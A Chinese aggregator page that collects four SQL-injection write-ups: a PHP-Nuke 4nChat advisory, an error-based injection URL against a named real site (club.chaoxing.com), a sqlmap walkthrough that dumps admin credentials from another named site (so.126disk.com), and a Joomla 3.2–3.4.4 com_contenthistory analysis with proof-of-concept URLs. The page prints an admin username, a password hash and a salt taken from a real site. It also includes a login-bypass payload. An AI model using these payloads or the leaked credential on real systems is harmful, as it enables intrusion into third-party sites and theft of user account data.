61阅读

sql注入漏洞-PHP-Nuke 4nChat错误验证roomid参数 SQL注入漏洞

发布时间:2017-12-04 所属栏目:sql注入

一 : PHP-Nuke 4nChat错误验证roomid参数 SQL注入漏洞

受影响系统:
PHP-Nuke 4nChat 0.91 描述:
PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。 PHP-Nuke的实现上存在输入验证漏洞,4nChat模块没有正确地验证对roomid参数的输入,这允许远程攻击者通过提交特制的参数值执行SQL注入攻击。 厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://phpnuke.org/

二 : 超星网某分站SQL注入漏洞

超星网某分站SQL注入漏洞

漏洞地址:club.chaoxing.com/bbs很早之前爆的dz7.2的注入
http://club.chaoxing.com/bbs/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%202%20from%20%28select%20count%28*%29,concat%28%28select%20concat%28username,0x3a,password,0x3a,salt%29%20from%20uc_members%20limit%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23
Discuz! info: MySQL Query Error
Time: 2015-4-24 8:45am
Script: /bbs/faq.php
SQL: SELECT * FROM [Table]usergroups u LEFT JOIN [Table]admingroups a ON u.groupid=a.admingid WHERE u.groupid IN ('7','\',') and (select 2 from (select count(*),concat((select concat(username,0x3a,password,0x3a,salt) from uc_members limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#')
Error: Duplicate entry 'admin:b1649ebd2df3aa808b7fdd7b1dd6a93d:3225521' for key 'group_key'
Errno.: 1062
Similar error report has been dispatched to administrator before.
到 http://faq.comsenz.com 搜索此错误的解决方案
admin密码已经出来了,还可以爆出来很多其他敏感信息,通过遍历可获得30w用户的帐号密码

解决方案:

过滤
(www.61k.com)

三 : 126disk网盘sql注入漏洞

sql注入点有很多,有用户登录注入,如万能密码admin’or 1=1– ;还有Web程序中的一些交互注入,如查询之类。有关sql注入详细信息见www.2cto.com/Article/201209/153277.html。由于126disk网盘对用户输入的查询关键字,没有实行过滤,造成sql注入漏洞,可以探测数据库信息,查看数据库数据,甚至把整个数据库搞到本地,即拖库。

我们在126disk网盘搜索框里输入helloworld’,查看结果,http://pan.baidu.com/share/link?shareid=63647&uk=537055152,直接把错误报出来,说明对我们输入的单引号进行了解析,web程序的查询sql语法,报出错误。我们可以手动去探测,利用union这个命令去返回我们想要的数据。这里用sqlmap自动化去探测。

1, 找到注入点的url,这里的查询用的get方法,url为http://so.126disk.com/search?key=helloworld, Backtrack中的sqlmap默认路径为/pentest/database/sqlmap,也可以自己去网上免费下载。命令:

./sqlmap.py -u http://so.126disk.com/search?key=helloworld –dbs,该条命令是探测数据库用的。易踪网探测结果如图:
126网盘 126disk网盘sql注入漏洞



,我们看到数据库为mysql,操作系统为windows2003,服务器为IIS6,用的php的技术,探测到126disk这个数据库,information_schema库是mysql的系统库,存有一些用户,和表等信息。

2, 探测表名,我们探测到了数据库名,接下来探测表名。命令:

./sqlmap.py -u http://so.126disk.com/search?key=helloworld -D 126disk –table,易踪网探测结果如下:

126网盘 126disk网盘sql注入漏洞
,我们可以看到共24张表。

3, 探测列名,探测到了数据库和表名,我们接下来探测感兴趣的表的列名。我们来探测disk_admin表中的列名。命令:

./sqlmap.py -u http://so.126disk.com/search?key=helloworld -D 126disk -T disk_admin –columns,易踪网探测结果如下:
126网盘 126disk网盘sql注入漏洞

,我们可以看到该表中由我们感兴趣的user和pass列。

4, 探测数据,接下来我们探测数据库中的用户数据,命令:./sqlmap.py -u http://so.126disk.com/search?key=helloworld -D 126disk -T disk_admin -C user,pass –dump,这样我们就可以探测disk_admin中的user和pass列的数据了。这里探测结果就不贴图了。现在的网站一般都不会保存明文密码,一般时md5或者sha1加密,有时还可能会有salt值,想看明文的话,去下个彩虹表去破解吧。

sqlmap还有些特别有意思的参数,如–current-user,可以查看当前登录数据库的用户,–sql-shell是建立一个sql的shell,有了这个shell我们就可以方便的运行sql命令了。命令:

./sqlmap.py -u http://so.126disk.com/search?key=helloworld –sql-shell,截图如:

126网盘 126disk网盘sql注入漏洞

四 : Joomla CMS 3.2-3.4.4 SQL注入漏洞分析

昨日,Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响。攻击者通过该漏洞可以直接获取获取数据库中敏感信息,甚至可以获取已登陆的管理员会话直接进入网站后台。

0x01 原理分析

在 Joomla CMS 中有一个查看历史编辑版本的组件(com_contenthistory),该功能本应只有管理员才能访问,但是由于开发人员的疏忽,导致该功能的访问并不需要相应的权限。通过访问 /index.php?option=com_contenthistory 可以使得服务端加载历史版本处理组件。程序流程会转到 /components/com_contenthistory/contenthistory.php 文件中:

<?phpdefined(&#39;_JEXEC&#39;) or die; $lang = JFactory::getLanguage();$lang->load(&#39;com_contenthistory&#39;, JPATH_ADMINISTRATOR, null, false, true)|| $lang->load(&#39;com_contenthistory&#39;, JPATH_SITE, null, false, true); require_once JPATH_COMPONENT_ADMINISTRATOR . &#39;/contenthistory.php&#39;;

可以看到该组件加载时并没有进行相关权限的监测,而 Joomla 中,一般的后台调用组件 (/administrator/components/下的组件) 都会进行组件对应的权限检查,例如后台中的 com_contact 组件

if (!JFactory::getUser()->authorise(&#39;core.manage&#39;, &#39;com_contact&#39;)){ return JError::raiseWarning(404, JText::_(&#39;JERROR_ALERTNOAUTHOR&#39;));}

但是,程序在处理 contenthistory 组件时,并没有进行一个权限检查,程序初始化并设置好组件相关配置后,包含文件 /administrator/components/com_contenthistory/contenthistory.php,其内容如下:

<?phpdefined(&#39;_JEXEC&#39;) or die; $controller = JControllerLegacy::getInstance(&#39;Contenthistory&#39;, array(&#39;base_path&#39; => JPATH_COMPONENT_ADMINISTRATOR));$controller->execute(JFactory::getApplication()->input->get(&#39;task&#39;));$controller->redirect();

程序初始化基于 contenthistory 组件的控制类 JControllerLegacy,然后直接调用控制类的 execute() 方法,在 execute() 方法中,会调用其控制类中的 display(),代码位于 /libraries/legacy/controller/legacy.php:

public function display($cachable = false, $urlparams = array()){ $document = JFactory::getDocument(); $viewType = $document->getType(); $viewName = $this->input->get(&#39;view&#39;, $this->default_view); $viewLayout = $this->input->get(&#39;layout&#39;, &#39;default&#39;, &#39;string&#39;); $view = $this->getView($viewName, $viewType, &#39;&#39;, array(&#39;base_path&#39; => $this->basePath, &#39;layout&#39; => $viewLayout)); // Get/Create the model if ($model = $this->getModel($viewName)) { // Push the model into the view (as default) $view->setModel($model, true); } (...省略...) if ($cachable && $viewType != &#39;feed&#39; && $conf->get(&#39;caching&#39;) >= 1) { (...省略...) } else { $view->display(); } return $this;}

处理程序从传递的参数中获取 view 和 layout 的参数值进行初始化视图,并且调用 $model = $this->getModel($viewName) 加载对应数据模型,最终会调用 $view->display() 函数进行视图处理。

Joomla 新版本 3.4.5 中修复的SQL注入漏洞涉及的是历史查看操作,也就是 view=history 时的程序处理会导致注入。在程序进行数据提取时,会进入 /administrator/components/com_contenthistory/models/history.php 文件中的 getListQuery() 函数:

protected function getListQuery(){ // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( &#39;list.select&#39;, &#39;h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,&#39; . &#39;h.character_count, h.sha1_hash, h.version_data, h.keep_forever&#39; ) ) ->from($db->quoteName(&#39;#__ucm_history&#39;) . &#39; AS h&#39;) ->where($db->quoteName(&#39;h.ucm_item_id&#39;) . &#39; = &#39; . $this->getState(&#39;item_id&#39;)) ->where($db->quoteName(&#39;h.ucm_type_id&#39;) . &#39; = &#39; . $this->getState(&#39;type_id&#39;)) // Join over the users for the editor ->select(&#39;uc.name AS editor&#39;) ->join(&#39;LEFT&#39;, &#39;#__users AS uc ON uc.id = h.editor_user_id&#39;); // Add the list ordering clause. $orderCol = $this->state->get(&#39;list.ordering&#39;); $orderDirn = $this->state->get(&#39;list.direction&#39;); $query->order($db->quoteName($orderCol) . $orderDirn); return $query;}

注意下面这段SQL语句构造部分:

$query->select( $this->getState( &#39;list.select&#39;, &#39;h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,&#39; . &#39;h.character_count, h.sha1_hash, h.version_data, h.keep_forever&#39; ))->from($db->quoteName(&#39;#__ucm_history&#39;) . &#39; AS h&#39;)->where($db->quoteName(&#39;h.ucm_item_id&#39;) . &#39; = &#39; . $this->getState(&#39;item_id&#39;))->where($db->quoteName(&#39;h.ucm_type_id&#39;) . &#39; = &#39; . $this->getState(&#39;type_id&#39;))

扩展:joomla 注入漏洞 / phpcms注入漏洞 / phpcms v9 注入漏洞

其中 getState() 函数用于获取模型的属性和其对应的值,其函数定义位于 /ibraries/legacy/model/legacy.php:

public function getState($property = null, $default = null){ if (!$this->__state_set) { // Protected method to auto-populate the model state. $this->populateState(); // Set the model state set flag to true. $this->__state_set = true; } return $property === null ? $this->state : $this->state->get($property, $default);}

然后会调用 populateState() 函数来初始化参数值和提取并过滤某些参数,在 contenthistory 组建中定义有自己的 populateState() 函数:

protected function populateState($ordering = null, $direction = null){ (...省略...) // List state information. parent::populateState(&#39;h.save_date&#39;, &#39;DESC&#39;);}

函数最后,会调用父类的 populateState() 函数,因为该数据模型继承于 JModelList,所以父类相关代码位于 /libraries/legacy/model/list.php 中,而在父类该函数的处理中会解析请求中传递的 list[] 参数,解析并过滤预设键的值,但是却忽略了 list[select]:

protected function populateState($ordering = null, $direction = null){ (...省略...) // Receive & set list options if ($list = $app->getUserStateFromRequest($this->context . &#39;.list&#39;, &#39;list&#39;, array(), &#39;array&#39;)) { foreach ($list as $name => $value) { // Extra validations switch ($name) { case &#39;fullordering&#39;: (...省略...) case &#39;ordering&#39;: (...省略...) case &#39;direction&#39;: (...省略...) case &#39;limit&#39;: (...省略...) default: $value = $value; break; } $this->setState(&#39;list.&#39; . $name, $value); } } (...省略...)

而传递 list[select] 参数值最终会被解析到上述组件视图进行处理时 SQL 语句构建中的 list.select 里,从而导致了注入。

0x02 漏洞演示

通过上面简单的分析,已经知道了受影响的 Joomla 版本中,contenthistory 组件访问不受权限的控制,并且当进行 view=history 请求时会解析请求参数中 list[select] 的值拼接到 SQL 语句中。下面是该漏洞的简单验证和利用方法。

1.漏洞验证

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&list[select]=1

因为在进行 SQL 语句拼接的时候,获取了 list.ordering 进行数据查询中的 order 操作,若不提供默认会将其设置为数据进行处理,相关处理位于 /libraries/joomla/database/driver.php 的 quoteName() 函数中。

因此,访问上述构造的URL,服务器会报错:

quotename Joomla CMS 3.2-3.4.4 SQL注入漏洞分析

2.漏洞利用

因为在 SQL 语句拼接时,程序框架针对每个 from 或者 where 操作进行了换行处理,所以这里并不能使用 #、-- 等符号来注释掉后面的语句,只能通过报错注入进行数据提取。但是语句的成功执行有一定的前提条件,也就是传递的 item_id 和 type_id 参数值必须于数据库中有效,同时传递 list[ordering] 参数 (空值即可),这样注入的语句才能够得到执行,从而进行报错注入。

这里经过多个漏洞站点的测试可以简单的使用 item_id=1&type_id=1,当然了为了准确性和有效性,可以通过爆破的方式来得到这两个参数的有效值,然后再进行注入操作。

(Tips:Joomla 中构造的 SQL 语句中 #_ 最终会在执行前被替换为表前缀)

下面是获取用户名/密码哈希的漏洞演示过程:

http://http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select username from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

quotename Joomla CMS 3.2-3.4.4 SQL注入漏洞分析

http://172.16.96.130/xampp/Joomla-3.4.4/index.php?option=com_contenthistory&view=history&item_id=1&type_id=1&list[ordering]&list[select]=(select 1 from (select count(),concat((select password from %23__users limit 0,1),floor(rand(0)2)) from information_schema.tables group by 2)x)

quotename Joomla CMS 3.2-3.4.4 SQL注入漏洞分析

0x03 修复方案
从 https://github.com/joomla/joomla-cms/releases 获取最新版本进行重新安装;从 https://github.com/joomla/joomla-cms/releases下载相应版本的补丁程序进行升级;

0x04 总结

就 Joomla CMS 的用户量来看,目前还有大量的站点的数据正受到该漏洞的威胁。该漏洞的产生本质上是由于访问控制的缺失和过滤不严格造成。访问控制的缺失导致本应只有管理员才能进行访问和加载的 contenthistory组件能够被任意用户访问和加载,而参数的过滤不严格,导致攻击者能够构造出恶意的参数到执行流中产生注入。

扩展:joomla 注入漏洞 / phpcms注入漏洞 / phpcms v9 注入漏洞

扩展:joomla 注入漏洞 / phpcms注入漏洞 / phpcms v9 注入漏洞

本文标题:sql注入漏洞-PHP-Nuke 4nChat错误验证roomid参数 SQL注入漏洞
本文地址: http://www.61k.com/1079844.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1